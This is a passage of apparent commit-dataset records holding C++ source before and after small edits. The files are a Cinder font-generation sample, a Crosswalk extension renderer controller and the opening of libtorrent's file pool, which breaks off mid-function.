WITHOUT BLEEDING EDGES\n     * - DEMONSTRATES HOW TO LOAD A CUSTOM FONT FROM THE DOCUMENTS FOLDER\n     *\/\n    createFontSafely(FontDescriptor(getDocumentsDirectory() \/ \"frank.ttf\"), 64, HEBREW_BIBLICAL, XParams(3, 2));\n\n    \/\/ ---\n    \n    \/*\n     * LOADING OUR GENERATED FONTS\n     *\/\n    \n    font1 = loadFontSafely(\"Georgia_Regular_64.fnt\");\n    font2 = loadFontSafely(\"Roboto_Regular_64.fnt\");\n    font3 = loadFontSafely(\"FrankRuehl_Regular_64.fnt\");\n    \n    \/\/ ---\n    \n    glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n    glEnable(GL_BLEND);\n}\n\nvoid Application::prepareSettings(AppBasic::Settings *settings)\n{\n    Area area = settings->getDisplay()->getBounds();\n    settings->setWindowSize(area.getWidth(), area.getWidth() * 0.25f);\n}\n\nvoid Application::draw()\n{\n    gl::clear(Color(0.5f, 0.5f, 0.5f), false);\n    glColor4f(1, 1, 1, 1);\n    \n    drawFontSafely(font1, 32, 10, getWindowHeight() * 1 \/ 4.0f);\n    drawFontSafely(font2, 32, 10, getWindowHeight() * 2 \/ 4.0f);\n    drawFontSafely(font3, 64, getWindowWidth() - 10, getWindowHeight() * 3 \/ 4.0f, -1);\n}\n\nvoid Application::createFontSafely(const FontDescriptor &descriptor, float size, const wstring &characters, const XParams &params)\n{\n    try\n    {\n        XFontCreator(ftHelper, descriptor, size, characters, params).writeToFolder(getDocumentsDirectory());\n    }\n    catch (exception &e)\n    {\n        LOGI << e.what() << endl;\n    }\n}\n\nshared_ptr<XFont> Application::loadFontSafely(const string &fileName)\n{\n    try\n    {\n        return fontManager.getCachedFont(InputSource::getFileInDocuments(fileName), XFont::Properties::Default2D());\n    }\n    catch (exception &e)\n    {\n        LOGI << e.what() << endl;\n    }\n    \n    return NULL;\n}\n\nvoid Application::drawFontSafely(shared_ptr<XFont> &font, float size, float x, float y, float direction)\n{\n    if (font)\n    {\n        font->setSize(size);\n        font->setDirection(direction);\n        TextHelper::drawText(*font, font->getCharacters(), x, y);\n    }\n}\n\nCINDER_APP_NATIVE(Application, RendererGl(RendererGl::AA_NONE))\n<commit_msg>TWEAKING samples\/FontGenerator PROJECT<commit_after>\/*\n * GENERATING A FEW FONTS (SAVED IN THE DOCUMENTS FOLDER)\n *\n *\n * REQUIREMENTS:\n * - OSX\n * - FREETYPE BLOCK: https:\/\/github.com\/arielm\/Freetype\n *\n *\n * FONTS USED:\n * - Georgia - AVAILABLE ON OSX AND WINDOWS\n * - Roboto - AVAILABLE ON ANDROID AND AS GOOGLE-FONT: http:\/\/www.google.com\/fonts\/specimen\/Roboto\n * - FrankRuehl - AVAILABLE ON WINDOWS (WITH HEBREW SUPPORT): http:\/\/www.microsoft.com\/typography\/fonts\/font.aspx?FMID=1886\n *\/\n\n#include \"cinder\/app\/AppNative.h\"\n#include \"cinder\/gl\/gl.h\"\n\n#include \"chronotext\/font\/FontManager.h\"\n#include \"chronotext\/text\/TextHelper.h\"\n#include \"chronotext\/tools\/font\/XFontCreator.h\"\n#include \"chronotext\/tools\/font\/Characters.h\"\n#include \"chronotext\/utils\/Utils.h\"\n\nusing namespace std;\nusing namespace ci;\nusing namespace app;\nusing namespace chr;\n\nconst std::wstring HEBREW_BIBLICAL = L\":,;.-\\u05d0\\u05d1\\u05d2\\u05d3\\u05d4\\u05d5\\u05d6\\u05d7\\u05d8\\u05d9\\u05da\\u05db\\u05dc\\u05dd\\u05de\\u05df\\u05e0\\u05e1\\u05e2\\u05e3\\u05e4\\u05e5\\u05e6\\u05e7\\u05e8\\u05e9\\u05ea\";\n\nclass Application : public AppNative\n{\n    shared_ptr<FreetypeHelper> ftHelper;\n    FontManager fontManager;\n    \n    vector<shared_ptr<XFont>> fonts;\n    \npublic:\n    void setup();\n    void prepareSettings(Settings *settings);\n    \n    void draw();\n    \n    void createFontSafely(const FontDescriptor &descriptor, float size, const wstring &characters, const XParams &params);\n    void loadFontSafely(const string &fileName, bool useMipmap = false);\n    void drawFonts(float size);\n};\n\nvoid Application::setup()\n{\n    ftHelper = make_shared<FreetypeHelper>();\n    \n    \/*\n     * - PROVIDING ENOUGH MARGIN AND PADDING, TO ALLOW FOR MIPMAPPING WITHOUT BLEEDING EDGES\n     * - DEMONSTRATES HOW TO LOAD FONTS LIKE Georgia ON OSX\n     *\/\n    createFontSafely(FontDescriptor(\"\/Library\/Fonts\/Georgia.ttf\"), 64, ISO_8859_15, XParams(3, 2));\n    \n    \/*\n     * - PROVIDING ENOUGH MARGIN AND PADDING, TO ALLOW FOR MIPMAPPING WITHOUT BLEEDING EDGES\n     * - DEMONSTRATES HOW TO LOAD A CUSTOM FONT FROM THE RESOURCE-BUNDLE\n     *\/\n    createFontSafely(FontDescriptor(getResourcePath(\"Roboto-Regular.ttf\")), 64, ISO_8859_15, XParams(3, 2));\n\n    \/*\n     * - PROVIDING ENOUGH MARGIN AND PADDING, TO ALLOW FOR MIPMAPPING WITHOUT BLEEDING EDGES\n     * - DEMONSTRATES HOW TO LOAD A CUSTOM FONT FROM THE DOCUMENTS FOLDER\n     *\/\n    createFontSafely(FontDescriptor(getDocumentsDirectory() \/ \"frank.ttf\"), 64, HEBREW_BIBLICAL, XParams(3, 2));\n\n    \/\/ ---\n    \n    \/*\n     * LOADING OUR GENERATED FONTS\n     *\/\n    \n    loadFontSafely(\"Georgia_Regular_64.fnt\");\n    loadFontSafely(\"Roboto_Regular_64.fnt\");\n    loadFontSafely(\"FrankRuehl_Regular_64.fnt\");\n    \n    \/\/ ---\n    \n    glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n    glEnable(GL_BLEND);\n}\n\nvoid Application::prepareSettings(AppBasic::Settings *settings)\n{\n    Area area = settings->getDisplay()->getBounds();\n    settings->setWindowSize(area.getWidth(), area.getWidth() * 0.25f);\n}\n\nvoid Application::draw()\n{\n    gl::clear(Color(0.5f, 0.5f, 0.5f), false);\n    glColor4f(1, 1, 1, 1);\n    \n    drawFonts(32);\n}\n\nvoid Application::createFontSafely(const FontDescriptor &descriptor, float size, const wstring &characters, const XParams &params)\n{\n    try\n    {\n        XFontCreator(ftHelper, descriptor, size, characters, params).writeToFolder(getDocumentsDirectory());\n    }\n    catch (exception &e)\n    {\n        LOGI << e.what() << endl;\n    }\n}\n\nvoid Application::loadFontSafely(const string &fileName, bool useMipmap)\n{\n    try\n    {\n        fonts.push_back(fontManager.getCachedFont(InputSource::getFileInDocuments(fileName), XFont::Properties::Default2D()));\n    }\n    catch (exception &e)\n    {\n        LOGI << e.what() << endl;\n    }\n}\n\nvoid Application::drawFonts(float size)\n{\n    int current = 0;\n    int count = fonts.size();\n    \n    for (auto &font : fonts)\n    {\n        current++;\n        float y = getWindowHeight() * current \/ float(count + 1);\n        \n        font->setSize(size);\n        TextHelper::drawAlignedText(*font, font->getCharacters(), getWindowWidth() * 0.5f, y, XFont::ALIGN_MIDDLE, XFont::ALIGN_MIDDLE);\n    }\n}\n\nCINDER_APP_NATIVE(Application, RendererGl(RendererGl::AA_NONE))\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2013 Intel Corporation. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"xwalk\/extensions\/renderer\/xwalk_extension_renderer_controller.h\"\n\n#include \"base\/stringprintf.h\"\n#include \"base\/values.h\"\n#include \"xwalk\/extensions\/common\/xwalk_extension_messages.h\"\n#include \"xwalk\/extensions\/renderer\/xwalk_extension_render_view_handler.h\"\n#include \"content\/public\/renderer\/render_thread.h\"\n#include \"content\/public\/renderer\/v8_value_converter.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebFrame.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebScriptSource.h\"\n#include \"v8\/include\/v8.h\"\n\n\/\/ This will be generated from xwalk_api.js.\nextern const char kSource_xwalk_api[];\n\nnamespace xwalk {\nnamespace extensions {\n\nclass XWalkExtensionV8Wrapper : public v8::Extension {\n public:\n  XWalkExtensionV8Wrapper();\n\n  \/\/ v8::Extension implementation.\n  virtual v8::Handle<v8::FunctionTemplate> GetNativeFunction(\n      v8::Handle<v8::String> name);\n\n private:\n  static v8::Handle<v8::Value> PostMessage(const v8::Arguments& args);\n  static v8::Handle<v8::Value> SendSyncMessage(const v8::Arguments& args);\n};\n\nXWalkExtensionV8Wrapper::XWalkExtensionV8Wrapper()\n    : v8::Extension(\"xwalk\", kSource_xwalk_api) {\n}\n\nv8::Handle<v8::FunctionTemplate>\nXWalkExtensionV8Wrapper::GetNativeFunction(v8::Handle<v8::String> name) {\n  if (name->Equals(v8::String::New(\"PostMessage\")))\n    return v8::FunctionTemplate::New(PostMessage);\n  if (name->Equals(v8::String::New(\"SendSyncMessage\")))\n    return v8::FunctionTemplate::New(SendSyncMessage);\n  return v8::Handle<v8::FunctionTemplate>();\n}\n\nv8::Handle<v8::Value> XWalkExtensionV8Wrapper::PostMessage(\n    const v8::Arguments& args) {\n  if (args.Length() != 2)\n    return v8::False();\n\n  XWalkExtensionRenderViewHandler* handler =\n      XWalkExtensionRenderViewHandler::GetForCurrentContext();\n\n  scoped_ptr<content::V8ValueConverter> converter(\n      content::V8ValueConverter::create());\n  scoped_ptr<base::Value> value_args(\n      converter->FromV8Value(args[1], handler->GetV8Context()));\n\n  if (!value_args.get())\n    return v8::False();\n\n  \/\/ FIXME(tmpsantos): We could serialize base::Value if it had\n  \/\/ param traits for it. Instead, we always add it to a list.\n  base::ListValue list_value_args;\n  list_value_args.Append(value_args.release());\n\n  std::string extension(*v8::String::Utf8Value(args[0]));\n  if (!handler->PostMessageToExtension(extension, list_value_args))\n    return v8::False();\n  return v8::True();\n}\n\nv8::Handle<v8::Value> XWalkExtensionV8Wrapper::SendSyncMessage(\n    const v8::Arguments& args) {\n  if (args.Length() != 2)\n    return v8::False();\n\n  std::string extension(*v8::String::Utf8Value(args[0]));\n  std::string msg(*v8::String::Utf8Value(args[1]));\n\n  XWalkExtensionRenderViewHandler* handler =\n      XWalkExtensionRenderViewHandler::GetForCurrentContext();\n  std::string reply = handler->SendSyncMessageToExtension(extension, msg);\n  return v8::String::New(reply.c_str(), reply.size());\n}\n\nXWalkExtensionRendererController::XWalkExtensionRendererController() {\n  content::RenderThread* thread = content::RenderThread::Get();\n  thread->AddObserver(this);\n  thread->RegisterExtension(new XWalkExtensionV8Wrapper);\n}\n\nXWalkExtensionRendererController::~XWalkExtensionRendererController() {\n  content::RenderThread::Get()->RemoveObserver(this);\n}\n\nvoid XWalkExtensionRendererController::RenderViewCreated(\n    content::RenderView* render_view) {\n  \/\/ RenderView will own this object.\n  new XWalkExtensionRenderViewHandler(render_view, this);\n}\n\nvoid XWalkExtensionRendererController::DidCreateScriptContext(\n    WebKit::WebFrame* frame) {\n  InstallJavaScriptAPIs(frame);\n}\n\nbool XWalkExtensionRendererController::OnControlMessageReceived(\n    const IPC::Message& message) {\n  bool handled = true;\n  IPC_BEGIN_MESSAGE_MAP(XWalkExtensionRendererController, message)\n    IPC_MESSAGE_HANDLER(XWalkViewMsg_RegisterExtension, OnRegisterExtension)\n    IPC_MESSAGE_UNHANDLED(handled = false)\n  IPC_END_MESSAGE_MAP()\n  return handled;\n}\n\nvoid XWalkExtensionRendererController::OnRegisterExtension(\n    const std::string& extension, const std::string& api) {\n  extension_apis_[extension] = api;\n}\n\nbool XWalkExtensionRendererController::ContainsExtension(\n    const std::string& extension) const {\n  return extension_apis_.find(extension) != extension_apis_.end();\n}\n\nstatic std::string CodeToEnsureNamespace(\n    const std::string& extension_name) {\n  std::string result;\n  size_t pos = 0;\n  while (true) {\n    pos = extension_name.find('.', pos);\n    if (pos == std::string::npos) {\n      result += extension_name + \" = {};\";\n      break;\n    }\n    std::string ns = extension_name.substr(0, pos);\n    result += ns + \" = \" + ns + \" || {}; \";\n    pos++;\n  }\n  return result;\n}\n\nstatic std::string WrapAPICode(const std::string& api_code,\n                               const std::string& extension_name) {\n  \/\/ FIXME(cmarcelo): New extension.postMessage and extension.setMessageListener\n  \/\/ should be implemented in a way that we don't need to expose\n  \/\/ xwalk.postMessage and xwalk.setMessageListener.\n\n  \/\/ We take care here to make sure that line numbering for api_code after\n  \/\/ wrapping doesn't change, so that syntax errors point to the correct line.\n  const char* name = extension_name.c_str();\n\n  \/\/ Note that we are using the Post to indicate an asynchronous call and the\n  \/\/ term Send to indicate synchronous call.\n  \/\/\n  \/\/ FIXME(cmarcelo): For now it is disabled on Windows because we jump through\n  \/\/ the UI process and this is not supported in that platform. See issue\n  \/\/ https:\/\/github.com\/otcshare\/crosswalk\/issues\/268 for details.\n  return base::StringPrintf(\n      \"var %s; (function(exports, extension) {'use strict'; %s\\n})\"\n      \"(%s, \"\n      \"{ postMessage: function(msg) { xwalk.postMessage('%s', msg); },\"\n      \"  setMessageListener: function(listener) { \"\n      \"                        xwalk.setMessageListener('%s', listener); }\"\n#if !defined(OS_WIN)\n      \"  , internal: {\"\n      \"    sendSyncMessage: function(msg) {\"\n      \"      return xwalk.sendSyncMessage('%s', msg); }\"\n      \"  }\"\n#endif\n      \"});\",\n      CodeToEnsureNamespace(extension_name).c_str(),\n      api_code.c_str(),\n      name, name, name\n#if !defined(OS_WIN)\n      , name\n#endif\n      );\n}\n\nvoid XWalkExtensionRendererController::InstallJavaScriptAPIs(\n    WebKit::WebFrame* frame) {\n  \/\/ FIXME(cmarcelo): Load extensions sorted by name so parent comes first, so\n  \/\/ that we can safely register all them.\n  ExtensionAPIMap::const_iterator it = extension_apis_.begin();\n  for (; it != extension_apis_.end(); ++it) {\n    const std::string& extension_name = it->first;\n    const std::string& api_code = it->second;\n    if (!api_code.empty()) {\n      std::string wrapped_api_code = WrapAPICode(api_code, extension_name);\n      frame->executeScript(WebKit::WebScriptSource(\n          WebKit::WebString::fromUTF8(wrapped_api_code),\n          WebKit::WebURL(\"JS API code for \" + extension_name,\n                         url_parse::Parsed(), false)));\n    }\n  }\n}\n\n}  \/\/ namespace extensions\n}  \/\/ namespace xwalk\n<commit_msg>Make lint.py ignore a closing parentheses<commit_after>\/\/ Copyright (c) 2013 Intel Corporation. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"xwalk\/extensions\/renderer\/xwalk_extension_renderer_controller.h\"\n\n#include \"base\/stringprintf.h\"\n#include \"base\/values.h\"\n#include \"xwalk\/extensions\/common\/xwalk_extension_messages.h\"\n#include \"xwalk\/extensions\/renderer\/xwalk_extension_render_view_handler.h\"\n#include \"content\/public\/renderer\/render_thread.h\"\n#include \"content\/public\/renderer\/v8_value_converter.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebFrame.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebScriptSource.h\"\n#include \"v8\/include\/v8.h\"\n\n\/\/ This will be generated from xwalk_api.js.\nextern const char kSource_xwalk_api[];\n\nnamespace xwalk {\nnamespace extensions {\n\nclass XWalkExtensionV8Wrapper : public v8::Extension {\n public:\n  XWalkExtensionV8Wrapper();\n\n  \/\/ v8::Extension implementation.\n  virtual v8::Handle<v8::FunctionTemplate> GetNativeFunction(\n      v8::Handle<v8::String> name);\n\n private:\n  static v8::Handle<v8::Value> PostMessage(const v8::Arguments& args);\n  static v8::Handle<v8::Value> SendSyncMessage(const v8::Arguments& args);\n};\n\nXWalkExtensionV8Wrapper::XWalkExtensionV8Wrapper()\n    : v8::Extension(\"xwalk\", kSource_xwalk_api) {\n}\n\nv8::Handle<v8::FunctionTemplate>\nXWalkExtensionV8Wrapper::GetNativeFunction(v8::Handle<v8::String> name) {\n  if (name->Equals(v8::String::New(\"PostMessage\")))\n    return v8::FunctionTemplate::New(PostMessage);\n  if (name->Equals(v8::String::New(\"SendSyncMessage\")))\n    return v8::FunctionTemplate::New(SendSyncMessage);\n  return v8::Handle<v8::FunctionTemplate>();\n}\n\nv8::Handle<v8::Value> XWalkExtensionV8Wrapper::PostMessage(\n    const v8::Arguments& args) {\n  if (args.Length() != 2)\n    return v8::False();\n\n  XWalkExtensionRenderViewHandler* handler =\n      XWalkExtensionRenderViewHandler::GetForCurrentContext();\n\n  scoped_ptr<content::V8ValueConverter> converter(\n      content::V8ValueConverter::create());\n  scoped_ptr<base::Value> value_args(\n      converter->FromV8Value(args[1], handler->GetV8Context()));\n\n  if (!value_args.get())\n    return v8::False();\n\n  \/\/ FIXME(tmpsantos): We could serialize base::Value if it had\n  \/\/ param traits for it. Instead, we always add it to a list.\n  base::ListValue list_value_args;\n  list_value_args.Append(value_args.release());\n\n  std::string extension(*v8::String::Utf8Value(args[0]));\n  if (!handler->PostMessageToExtension(extension, list_value_args))\n    return v8::False();\n  return v8::True();\n}\n\nv8::Handle<v8::Value> XWalkExtensionV8Wrapper::SendSyncMessage(\n    const v8::Arguments& args) {\n  if (args.Length() != 2)\n    return v8::False();\n\n  std::string extension(*v8::String::Utf8Value(args[0]));\n  std::string msg(*v8::String::Utf8Value(args[1]));\n\n  XWalkExtensionRenderViewHandler* handler =\n      XWalkExtensionRenderViewHandler::GetForCurrentContext();\n  std::string reply = handler->SendSyncMessageToExtension(extension, msg);\n  return v8::String::New(reply.c_str(), reply.size());\n}\n\nXWalkExtensionRendererController::XWalkExtensionRendererController() {\n  content::RenderThread* thread = content::RenderThread::Get();\n  thread->AddObserver(this);\n  thread->RegisterExtension(new XWalkExtensionV8Wrapper);\n}\n\nXWalkExtensionRendererController::~XWalkExtensionRendererController() {\n  content::RenderThread::Get()->RemoveObserver(this);\n}\n\nvoid XWalkExtensionRendererController::RenderViewCreated(\n    content::RenderView* render_view) {\n  \/\/ RenderView will own this object.\n  new XWalkExtensionRenderViewHandler(render_view, this);\n}\n\nvoid XWalkExtensionRendererController::DidCreateScriptContext(\n    WebKit::WebFrame* frame) {\n  InstallJavaScriptAPIs(frame);\n}\n\nbool XWalkExtensionRendererController::OnControlMessageReceived(\n    const IPC::Message& message) {\n  bool handled = true;\n  IPC_BEGIN_MESSAGE_MAP(XWalkExtensionRendererController, message)\n    IPC_MESSAGE_HANDLER(XWalkViewMsg_RegisterExtension, OnRegisterExtension)\n    IPC_MESSAGE_UNHANDLED(handled = false)\n  IPC_END_MESSAGE_MAP()\n  return handled;\n}\n\nvoid XWalkExtensionRendererController::OnRegisterExtension(\n    const std::string& extension, const std::string& api) {\n  extension_apis_[extension] = api;\n}\n\nbool XWalkExtensionRendererController::ContainsExtension(\n    const std::string& extension) const {\n  return extension_apis_.find(extension) != extension_apis_.end();\n}\n\nstatic std::string CodeToEnsureNamespace(\n    const std::string& extension_name) {\n  std::string result;\n  size_t pos = 0;\n  while (true) {\n    pos = extension_name.find('.', pos);\n    if (pos == std::string::npos) {\n      result += extension_name + \" = {};\";\n      break;\n    }\n    std::string ns = extension_name.substr(0, pos);\n    result += ns + \" = \" + ns + \" || {}; \";\n    pos++;\n  }\n  return result;\n}\n\nstatic std::string WrapAPICode(const std::string& api_code,\n                               const std::string& extension_name) {\n  \/\/ FIXME(cmarcelo): New extension.postMessage and extension.setMessageListener\n  \/\/ should be implemented in a way that we don't need to expose\n  \/\/ xwalk.postMessage and xwalk.setMessageListener.\n\n  \/\/ We take care here to make sure that line numbering for api_code after\n  \/\/ wrapping doesn't change, so that syntax errors point to the correct line.\n  const char* name = extension_name.c_str();\n\n  \/\/ Note that we are using the Post to indicate an asynchronous call and the\n  \/\/ term Send to indicate synchronous call.\n  \/\/\n  \/\/ FIXME(cmarcelo): For now it is disabled on Windows because we jump through\n  \/\/ the UI process and this is not supported in that platform. See issue\n  \/\/ https:\/\/github.com\/otcshare\/crosswalk\/issues\/268 for details.\n  return base::StringPrintf(\n      \"var %s; (function(exports, extension) {'use strict'; %s\\n})\"\n      \"(%s, \"\n      \"{ postMessage: function(msg) { xwalk.postMessage('%s', msg); },\"\n      \"  setMessageListener: function(listener) { \"\n      \"                        xwalk.setMessageListener('%s', listener); }\"\n#if !defined(OS_WIN)\n      \"  , internal: {\"\n      \"    sendSyncMessage: function(msg) {\"\n      \"      return xwalk.sendSyncMessage('%s', msg); }\"\n      \"  }\"\n#endif\n      \"});\",\n      CodeToEnsureNamespace(extension_name).c_str(),\n      api_code.c_str(),\n      name, name, name\n#if !defined(OS_WIN)\n      , name\n#endif\n      ); \/\/ NOLINT\n}\n\nvoid XWalkExtensionRendererController::InstallJavaScriptAPIs(\n    WebKit::WebFrame* frame) {\n  \/\/ FIXME(cmarcelo): Load extensions sorted by name so parent comes first, so\n  \/\/ that we can safely register all them.\n  ExtensionAPIMap::const_iterator it = extension_apis_.begin();\n  for (; it != extension_apis_.end(); ++it) {\n    const std::string& extension_name = it->first;\n    const std::string& api_code = it->second;\n    if (!api_code.empty()) {\n      std::string wrapped_api_code = WrapAPICode(api_code, extension_name);\n      frame->executeScript(WebKit::WebScriptSource(\n          WebKit::WebString::fromUTF8(wrapped_api_code),\n          WebKit::WebURL(\"JS API code for \" + extension_name,\n                         url_parse::Parsed(), false)));\n    }\n  }\n}\n\n}  \/\/ namespace extensions\n}  \/\/ namespace xwalk\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2006-2014, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <boost\/version.hpp>\n#include <boost\/bind.hpp>\n#include \"libtorrent\/assert.hpp\"\n#include \"libtorrent\/file_pool.hpp\"\n#include \"libtorrent\/error_code.hpp\"\n#include \"libtorrent\/file_storage.hpp\" \/\/ for file_entry\n\nnamespace libtorrent\n{\n\tfile_pool::file_pool(int size)\n\t\t: m_size(size)\n\t\t, m_low_prio_io(true)\n\t{\n\t}\n\n\tfile_pool::~file_pool()\n\t{\n\t}\n\n#ifdef TORRENT_WINDOWS\n\tvoid set_low_priority(file_handle const& f)\n\t{\n\t\t\/\/ file prio is only supported on vista and up\n\t\t\/\/ so load the functions dynamically\n\t\ttypedef enum _FILE_INFO_BY_HANDLE_CLASS {\n\t\t\tFileBasicInfo,\n\t\t\tFileStandardInfo,\n\t\t\tFileNameInfo,\n\t\t\tFileRenameInfo,\n\t\t\tFileDispositionInfo,\n\t\t\tFileAllocationInfo,\n\t\t\tFileEndOfFileInfo,\n\t\t\tFileStreamInfo,\n\t\t\tFileCompressionInfo,\n\t\t\tFileAttributeTagInfo,\n\t\t\tFileIdBothDirectoryInfo,\n\t\t\tFileIdBothDirectoryRestartInfo,\n\t\t\tFileIoPriorityHintInfo,\n\t\t\tFileRemoteProtocolInfo, \n\t\t\tMaximumFileInfoByHandleClass\n\t\t} FILE_INFO_BY_HANDLE_CLASS, *PFILE_INFO_BY_HANDLE_CLASS;\n\n\t\ttypedef enum _PRIORITY_HINT {\n\t\t\tIoPriorityHintVeryLow = 0,\n\t\t\tIoPriorityHintLow,\n\t\t\tIoPriorityHintNormal,\n\t\t\tMaximumIoPriorityHintType\n\t\t} PRIORITY_HINT;\n\n\t\ttypedef struct _FILE_IO_PRIORITY_HINT_INFO {\n\t\t\tPRIORITY_HINT PriorityHint;\n\t\t} FILE_IO_PRIORITY_HINT_INFO, *PFILE_IO_PRIORITY_HINT_INFO;\n\n\t\ttypedef BOOL (WINAPI *SetFileInformationByHandle_t)(HANDLE hFile, FILE_INFO_BY_HANDLE_CLASS FileInformationClass, LPVOID lpFileInformation, DWORD dwBufferSize);\n\t\tstatic SetFileInformationByHandle_t SetFileInformationByHandle = NULL;\n\n\t\tstatic bool failed_kernel_load = false;\n\n\t\tif (failed_kernel_load) return;\n\n\t\tif (SetFileInformationByHandle == NULL)\n\t\t{\n\t\t\tHMODULE kernel32 = LoadLibraryA(\"kernel32.dll\");\n\t\t\tif (kernel32 == NULL)\n\t\t\t{\n\t\t\t\tfailed_kernel_load = true;\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tSetFileInformationByHandle = (SetFileInformationByHandle_t)GetProcAddress(kernel32, \"SetFileInformationByHandle\");\n\t\t\tif (SetFileInformationByHandle == NULL)\n\t\t\t{ \n\t\t\t\tfailed_kernel_load = true;\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tTORRENT_ASSERT(SetFileInformationByHandle);\n\n\t\tFILE_IO_PRIORITY_HINT_INFO io_hint;\n\t\tio_hint.PriorityHint = IoPriorityHintLow;\n\t\tSetFileInformationByHandle(f->native_handle(),\n\t\t\tFileIoPriorityHintInfo, &io_hint, sizeof(io_hint));\n\t}\n#endif \/\/ TORRENT_WINDOWS\n\n\tfile_handle file_pool::open_file(void* st, std::string const& p\n\t\t, int file_index, file_storage const& fs, int m, error_code& ec)\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\n#if TORRENT_USE_ASSERTS\n\t\t\/\/ we're not allowed to open a file\n\t\t\/\/ from a deleted storage!\n\t\tTORRENT_ASSERT(std::find(m_deleted_storages.begin(), m_deleted_storages.end(), std::make_pair(fs.name(), (void const*)&fs))\n\t\t\t== m_deleted_storages.end());\n#endif\n\n\t\tTORRENT_ASSERT(st != 0);\n\t\tTORRENT_ASSERT(is_complete(p));\n\t\tTORRENT_ASSERT((m & file::rw_mask) == file::read_only\n\t\t\t|| (m & file::rw_mask) == file::read_write);\n\t\tfile_set::iterator i = m_files.find(std::make_pair(st, file_index));\n\t\tif (i != m_files.end())\n\t\t{\n\t\t\tlru_file_entry& e = i->second;\n\t\t\te.last_use = time_now();\n\n\t\t\tif (e.key != st && ((e.mode & file::rw_mask) != file::read_only\n\t\t\t\t|| (m & file::rw_mask) != file::read_only))\n\t\t\t{\n\t\t\t\t\/\/ this means that another instance of the storage\n\t\t\t\t\/\/ is using the exact same file.\n#if BOOST_VERSION >= 103500\n\t\t\t\tec = errors::file_collision;\n#endif\n\t\t\t\treturn file_handle();\n\t\t\t}\n\n\t\t\te.key = st;\n\t\t\t\/\/ if we asked for a file in write mode,\n\t\t\t\/\/ and the cached file is is not opened in\n\t\t\t\/\/ write mode, re-open it\n\t\t\tif ((((e.mode & file::rw_mask) != file::read_write)\n\t\t\t\t&& ((m & file::rw_mask) == file::read_write))\n\t\t\t\t|| (e.mode & file::random_access) != (m & file::random_access))\n\t\t\t{\n\t\t\t\t\/\/ close the file before we open it with\n\t\t\t\t\/\/ the new read\/write privilages, since windows may\n\t\t\t\t\/\/ file opening a file twice. However, since there may\n\t\t\t\t\/\/ be outstanding operations on it, we can't close the\n\t\t\t\t\/\/ file, we can only delete our reference to it.\n\t\t\t\t\/\/ if this is the only reference to the file, it will be closed\n\t\t\t\te.file_ptr = boost::make_shared<file>();\n\n\t\t\t\tstd::string full_path = fs.file_path(file_index, p);\n\t\t\t\tif (!e.file_ptr->open(full_path, m, ec))\n\t\t\t\t{\n\t\t\t\t\tm_files.erase(i);\n\t\t\t\t\treturn file_handle();\n\t\t\t\t}\n#ifdef TORRENT_WINDOWS\n\t\t\t\tif (m_low_prio_io)\n\t\t\t\t\tset_low_priority(e.file_ptr);\n#endif\n\n\t\t\t\tTORRENT_ASSERT(e.file_ptr->is_open());\n\t\t\t\te.mode = m;\n\t\t\t}\n\t\t\treturn e.file_ptr;\n\t\t}\n\n\t\tlru_file_entry e;\n\t\te.file_ptr = boost::make_shared<file>();\n\t\tif (!e.file_ptr)\n\t\t{\n\t\t\tec = error_code(ENOMEM, get_posix_category());\n\t\t\treturn e.file_ptr;\n\t\t}\n\t\tstd::string full_path = fs.file_path(file_index, p);\n\t\tif (!e.file_ptr->open(full_path, m, ec))\n\t\t\treturn file_handle();\n#ifdef TORRENT_WINDOWS\n\t\tif (m_low_prio_io)\n\t\t\tset_low_priority(e.file_ptr);\n#endif\n\t\te.mode = m;\n\t\te.key = st;\n\t\tm_files.insert(std::make_pair(std::make_pair(st, file_index), e));\n\t\tTORRENT_ASSERT(e.file_ptr->is_open());\n\n\t\tfile_handle file_ptr = e.file_ptr;\n\n\t\t\/\/ the file is not in our cache\n\t\tif ((int)m_files.size() >= m_size)\n\t\t{\n\t\t\t\/\/ the file cache is at its maximum size, close\n\t\t\t\/\/ the least recently used (lru) file from 